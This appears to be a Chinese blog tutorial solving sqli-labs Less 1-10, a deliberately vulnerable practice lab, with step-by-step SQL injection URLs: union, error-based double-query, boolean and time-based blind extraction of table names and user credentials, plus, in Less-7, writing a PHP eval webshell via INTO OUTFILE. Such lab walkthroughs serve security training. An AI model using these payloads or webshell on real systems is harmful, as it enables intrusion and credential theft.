sqli-labs教程——Less 1-10-爱代码爱编程
sqli-labs教程——Less 1-10 Page-1 Basic Challenges
- Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
- Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
- Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
- Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
- Less-5 GET - Double Injection - Single Quotes - String (双查询注入GET单引号字符型注入)
- Less-6 GET - Double Injection - Double Quotes - String (双查询注入GET双引号字符型注入)
- Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
- Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
- Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
- Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
1. 判断是否有注入点
http://192.168.0.118:8000/sqli/Less-1/?id=1
2. 判断闭合字符
http://192.168.0.118:8000/sqli/Less-1/?id=1’
输入单引号,页面报错信息如下所示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
‘’ 1’ ’ LIMIT 0,1’
可以确定1’被’‘引用起来了,所以后台SQL语句对变量的引用符号是’’
http://192.168.0.118:8000/sqli/Less-1/?id=1’ and 1=1 --+
http://192.168.0.118:8000/sqli/Less-1/?id=1’ and 1=2 --+
3. 判断当前页面中sql语句的查询列数
http://192.168.0.118:8000/sqli/Less-1/?id=1’ order by 5 --+
经过尝试,正确的列数为3.
4. 判断数据在页面中的回显位置和sql语句中回显位
错误方法演示:
http://192.168.0.118:8000/sqli/Less-1/?id=1’ union select database(),user(),version() --+
没有回显正常信息
修改id=-1,可以成功显示回显位。
5. 判断当前页面连接的数据库名称
http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select database(),database(),version() --+
6. 判断security数据库中的表名称信息
http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,table_name, 3 from information_schema.tables where table_schema=‘security’ --+
也可以将security使用十六进制替换,这样不用对security添加单引号。
http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,table_name, 3 from information_schema.tables where table_schema=0x7365637572697479 --+
显示security数据库中的所有表名称信息
http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name,’~’),3 from information_schema.tables where table_schema=‘security’ --+
7. 判断users表的列名称信息
http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,group_concat(column_name,’~’),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
8. 查询users表的所有信息
http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,group_concat(id,’’,username,’’,password),3 from security.users --+
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
1. 判断是否有注入点
http://192.168.101.13:8000/sqli/Less-2/?id=1
2. 判断闭合字符
输入单引号,页面报错信息如下所示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
’ ’ LIMIT 0,1’
在提示中,未发现1被引用起来。
输入双引号,页面报错信息类似:’ " LIMIT 0,1 ’
由此可推,后台SQL语句对变量不存在引用符号
http://192.168.101.13:8000/sqli/Less-2/?id=1 and 1=1 --+
http://192.168.101.13:8000/sqli/Less-2/?id=1 and 1=2 --+
3. 判断当前页面中SQL语句的查询列数
通过order by语句,得到列数为3
http://192.168.101.13:8000/sqli/Less-2/?id=1 order by 3 --+
4. 判断数据在页面中的回显位置和SQL语句中回显位
修改id=-1,可以成功显示回显位。
http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select database(),user(),version() --+
5. 判断当前页面连接的数据库名称
http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,database(),version() --+
得到数据库名为:security
6. 判断数据库中的表名称信息
http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=‘security’–+
显示security数据库中的所有表名信息
http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,group_concat(table_name,’~’),3 from information_schema.tables where table_schema=‘security’ --+
7. 判断users表的列名称信息
http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,group_concat(column_name,’~’),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
8. 查询users表的所有信息
http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,group_concat(id,’’,username,’’,password,’~’),3 from security.users --+
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
1. 判断是否有注入点
http://192.168.101.13:8000/sqli/Less-3/?id=1
2. 判断闭合字符
http://192.168.101.13:8000/sqli/Less-3/?id=1’
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
’ ’ 1’ ‘) LIMIT 0,1’
可以确定1被单引号和括号引用起来,所以SQL语句对变量的引用符号是(‘’)
http://192.168.101.13:8000/sqli/Less-3/?id=1’) and 1=1–+
http://192.168.101.13:8000/sqli/Less-3/?id=1’) and 1=2–+
3. 判断当前页面中SQL语句的查询列数
通过order by语句,得到查询列数为3
4. 判断数据在页面中回显位置和SQL语句中回显位
http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select database(),user(),version() --+
5. 判断当前页面连接数据库名称
http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,database(),version() --+
得到数据库名称为:security
6. 显示security数据库中所有表名称信息
http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,group_concat(table_name,’~’),version() from information_schema.tables where table_schema=‘security’ --+
7. 判断users表的列名称信息
http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,group_concat(column_name,’~’),version() from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
8. 查询users表的所有信息
http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,group_concat(id,’~’,username,’~’,password,’~’),version() from security.users --+
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
1. 判断是否有注入点
http://192.168.101.13:8000/sqli/Less-4/?id=1
2. 判断闭合字符
尝试使用双引号。
http://192.168.101.13:8000/sqli/Less-4/?id=1"
给出报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
’ " 1" " ) LIMIT 0,1 ’
可以确定1被双引号和括号所引用起来了,所以后台SQL语句对变量的引用符号是(“”)
http://192.168.101.13:8000/sqli/Less-4/?id=1") and 1=1 --+
http://192.168.101.13:8000/sqli/Less-4/?id=1") and 1=2 --+
3. 判断当前页面中SQL语句的查询列数
通过order by语句,得到列数为3
http://192.168.101.13:8000/sqli/Less-4/?id=1") order by 3 --+
4. 判断数据在页面中回显位置和SQL语句中回显位
http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select database(),user(),version() --+
5. 判断当前页面连接的数据库名称
http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,database(),version() --+
6. 判断security数据库中的表名称信息
http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,group_concat(table_name,’~’),version() from information_schema.tables where table_schema=‘security’ --+
7. 判断users表的列名称信息
http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,group_concat(column_name,’~’),version() from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
8. 查询users表的所有信息
http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,group_concat(id,’~’,username,’~’,password,’~’),version() from security.users --+
Less-5 GET - Double Injection - Single Quotes - String (双查询注入GET单引号字符型注入)
1. 判断是否有注入点
http://192.168.101.13:8000/sqli/Less-5/?id=1
2. 判断闭合字符
http://192.168.101.13:8000/sqli/Less-5/?id=1’
输入单引号,页面报错信息如下所示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
可以确定1’被单引号引用起来了,所以后台SQL语句对变量的引用符号是’’
http://192.168.101.13:8000/sqli/Less-5/?id=1’ and 1=1 --+
http://192.168.101.13:8000/sqli/Less-5/?id=1’ and 1=2 --+
页面返回只有正确和错误信息,没有任何可显示的位置的时候,首先想到可以尝试布尔注入、时间延迟盲注、报错型注入。本题根据题目要求使用双查询注入即报错型注入。
3. 判断当前页面连接的数据库名称
http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
4. 判断security数据库中的表名称信息
http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
修改limit 3,1,再次进行尝试。
http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5. 查询users表的列名称信息
http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
获得到id列。
修改limit,可以尝试获得更多列名,最终得到:id、username、password列。
http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6. 查询users表的所有信息
http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select concat_ws(’|’,id,username,password) from security.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
这里使用concat_ws,是concat的特殊形式,可以将多个字符连接成一个字符串,并且用分隔符进行分开。第一个参数为分隔符。
通过修改limit,可以查询用户信息,不再过多展示。
Less-6 GET - Double Injection - Double Quotes - String (双查询注入GET双引号字符型注入)
1. 判断是否有注入点
http://192.168.101.13:8000/sqli/Less-6/?id=1
2. 判断闭合字符
首先输入单引号,没有报错,没有形成闭合,结果如下:
http://192.168.101.13:8000/sqli/Less-6/?id=1’
输入双引号,报错结果如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"” LIMIT 0,1’ at line 1
’ " 1" " LIMIT 0,1 ’
可以确定1”被双引号引用起来了,所以后台SQL语句对变量的引用符号是””
http://192.168.101.13:8000/sqli/Less-6/?id=1" and 1=1 --+
http://192.168.101.13:8000/sqli/Less-6/?id=1" and 1=2 --+
页面返回只有正确和错误信息,没有任何可显示的位置的时候,可想到尝试布尔注入、时间延迟盲注、报错型注入。根据题目本次采用报错型注入(双查询)进行尝试。
3. 判断当前页面连接的数据库名称
http://192.168.101.13:8000/sqli/Less-6/?id=1" and(select 1 from (select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
由报错信息可以得知,数据库名称为security.
4. 判断security数据库中的表名称信息
http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
修改concat函数中的SQL语句,实现报错型注入;修改limit,可以查看更多表名称。
http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
当limit 3,1,可以查询到users表。
5. 查询users表的列名称信息
http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 2,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6. 查询users表的所有信息
http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select concat_ws(’|’,id,username,password) from security.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
这里使用concat_ws,是concat的特殊形式,可以将多个字符连接成一个字符串,并且用分隔符进行分开。第一个参数为分隔符。
通过修改limit,可以查询用户信息,不再过多展示。
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
1. 判断是否有注入点
http://192.168.101.13:8000/sqli/Less-7/?id=1
2. 判断闭合字符
经过多次尝试,确定1被((‘’))所引用,如图所示:
http://192.168.101.13:8000/sqli/Less-7/?id=1’)) and 1=1–+
http://192.168.101.13:8000/sqli/Less-7/?id=1’)) and 1=2–+
3. 判断当前页面中SQL语句的查询列数
http://192.168.101.13:8000/sqli/Less-7/?id=1’)) order by 3 --+
4. 写入一句话木马
各种默认路径:
- Windows:
- IIS: C:\inetpub\wwwroot
- PHPstudy: C:\phpStudy\WWW
- Xampp: C:\xampp\htdocs
- linux:
- Nginx: /usr/local/nginx/html、/home/wwwroot/default、/usr/share/nginx、/var/www/htm
- Apache: /var/www/htm、/var/www/html/htdocs
构造查看路径语句:
http://192.168.101.13:8000/sqli/Less-7/?id=-1’)) union select 1,@@basedir,@@datadir --+
无法返回正确信息,直接尝试构造payload。
http://192.168.101.13:8000/sqli/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["c"]); ?>’ into outfile ‘C:\phpStudy\WWW\sqli\Less-7\7.php’ --+
要注意’<?php @eval($_POST["c"]); ?>’ 小心都使用单引号导致的闭合。
5. 验证木马文件
尝试访问7.php
http://192.168.101.13:8000/sqli/Less-7/7.php
当然也可以使用post传入参数。
成功访问,证明已经成功写入文件。
6. 使用菜刀进行连接
点击右键进行添加
地址为PHP一句话木马的地址,后面的口令是刚才一句话木马中的c。
完成注入。
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
1. 判断是否有注入点
http://192.168.101.13:8000/sqli/Less-8/?id=1
2. 判断闭合字符
http://192.168.101.13:8000/sqli/Less-8/?id=1’ and 1=1 --+
http://192.168.101.13:8000/sqli/Less-8/?id=1’ and 1=2 --+
因页面已经不给报错信息,所以要进行尝试。当使用单引号,并且1=1和1=2返回的页面有差异,所以确定闭合符号为单引号。
3. 判断数据库名称长度
http://192.168.101.13:8000/sqli/Less-8/?id=1’ and length(database())=8 --+
经尝试,数据库名称长度为8。
4. 判断数据库名称
首先来判断第一个字符。
进行字符提取的时候,大小写字符返回相同的结果,所以使用ASCII码来进行判断会更加准确。
http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring(database(),1,1))=115 --+
可知数据库名称的第1个字符为 s
修改substring 的参数,来判断后续的字符
http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring(database(),2,1))=101 --+
以此类推得知数据库名称为:security。
5. 判断security数据库中的表名称信息
http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =101 --+
数据库security第一个表的第一个字符的ASCII码为10,对应的字母为e,也就是emails表。
现在进行练习:
求解第4个表的第2个字符。
首先,查询第4个表名称信息:
Select table_name from information_schema.tables where table_schema=database() limit 3,1
再查询这个表的第2个字符:
Substring(table_name,2,1)
完整构造如下:
http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1)) =115 --+
经过尝试,第4个表的第2个字符对应的ASCII码是115,也就是字符 s
最终得到第4个表,就是users表。
6. 判断users表的列名称信息
http://192.168.101.14:8000/sqli/Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1)) =105 --+
获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。
http://172.20.10.9:8000/sqli/Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),2,1)) =115 --+
获取到users表的第2个字段的第2个字符的ASCII码是115,对应的字母是s,也就是username列。
7. 查询users表的信息
http://172.20.10.9:8000/sqli/Less-8/?id=1’ and ascii(substring((select username from security.users limit 0,1),1,1)) =68 --+
获取到username列的第1个字段的第1个字符的ASCII码是68,对应字母是D,也就是Dumb。
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
1. 判断是否有注入点
http://172.20.10.9:8000/sqli/Less-9/?id=1
2. 判断闭合字符
经过大致的尝试,’、’)、’))、”、”)、”)),页面都返回
此时考虑时间盲注
http://172.20.10.9:8000/sqli/Less-9/?id=1’ and sleep(3) --+
使用浏览器查看时间线,时间大于3秒,说明注入成功,闭合字符为单引号。
3. 判断数据库名称长度
http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(length(database())=8,sleep(3),0) --+
时间大于3秒,数据库长度为8。
4. 判断数据库名称
首先判断第一个字符
http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring(database(),1,1))=115,sleep(3),0) --+
可知数据库名称的第一个字符为 s
修改substring函数中的参数,来继续获取数据库名称的其他字符,最终得到数据库名称为:security。
5. 判断security数据库中的表名称信息
http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0) --+
获得数据库security的第1个表的第1个字符的ASCII码为101,对应的字母为e,也就是emails表。
http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(3),0) --+
获得数据库security的第4个表的第1个字符的ASCII码为117,对应字母为u,也就是users表。
6. 判断users表的列名称信息
http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1))=105,sleep(3),0) --+
获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。修改limit和substring的参数,可以逐步获得users表的全部列信息:id、username、password。
7. 查询users表的信息
练习:获取username列的第2个字段的第3个字符的值:
http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select username from security.users limit 1,1),3,1))=103,sleep(3),0) --+
获取到的结果是g,对应的是Angelina。
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
1. 判断是否有注入点
http://192.168.101.12:8000/sqli/Less-10/?id=1
2. 判断闭合字符
经过大致的尝试,’、’)、’))、”、”)、”)),页面都返回
尝试使用时间注入
http://192.168.101.12:8000/sqli/Less-10/?id=1" and sleep(3) --+
使用浏览器查看时间线,时间大于3秒,说明注入成功,闭合字符为双引号。
3. 判断数据库名称长度
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(length(database())=8,sleep(3),0) --+
时间大于3秒,数据库长度为8。
4. 判断数据库名称
在less-9中,主要是围绕着ascii函数和substring函数进行展开,这次尝试使用left函数。
首先判断第一个字符
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left(database(),1)=‘s’,sleep(3),0) --+
可知数据库名称的第一个字符为s
因上一步已经知道数据库长度为8,猜测数据库名称为security,并进行验证。
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left(database(),8)=‘security’,sleep(3),0) --+
5. 判断security数据库中的表名称信息
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’,sleep(3),0) --+
获得数据库security的第1个表的第1个字符为e,对应的字母为e,也就是emails表。
此处偷懒,直接查找users表。
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)=‘users’,sleep(3),0) --+
在第4个表,爆破到users表。
6. 判断users表的列名称信息
此处偷懒,直接定向破解username和password
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),8)=‘username’, sleep(3), 0) --+
Username列名爆破成功。
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),8)=‘password’,sleep(3),0) --+
Password列名爆破成功。
7. 查询users表的信息
练习:获取username列的第2个字段名称
此处偷懒,直接使用Angelina进行爆破
http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select username from security.users limit 1,1),8)=‘Angelina’,sleep(3),0) --+
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_25649867/article/details/111020393